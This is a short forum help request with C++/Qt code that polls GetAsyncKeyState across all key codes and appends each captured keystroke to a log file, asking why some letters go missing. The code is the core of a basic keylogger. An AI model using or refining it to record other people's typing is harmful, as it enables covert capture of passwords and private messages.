capturing keystrokes help

I am trying to capture my keystrokes but sometimes doesnt write some letters well or the phrase that i wrote.
Code:

Code:

if(num>=32)
{
 
        log.open(QFile::Append);
        cadenaa.append(num);
        log.write(cadenaa);
        cadenaa.clear();
        log.close();
   }
    if(num==13){
       log.open(QFile::Append);
       log.write("\n");
       log.close();
 
    }
short comprobarTeclas()
{
short i = 0;
for(i = 0; i < 255; i++){
if(GetAsyncKeyState(i) == -32767)
return i;
}
return 0;
}

Some suggestion good received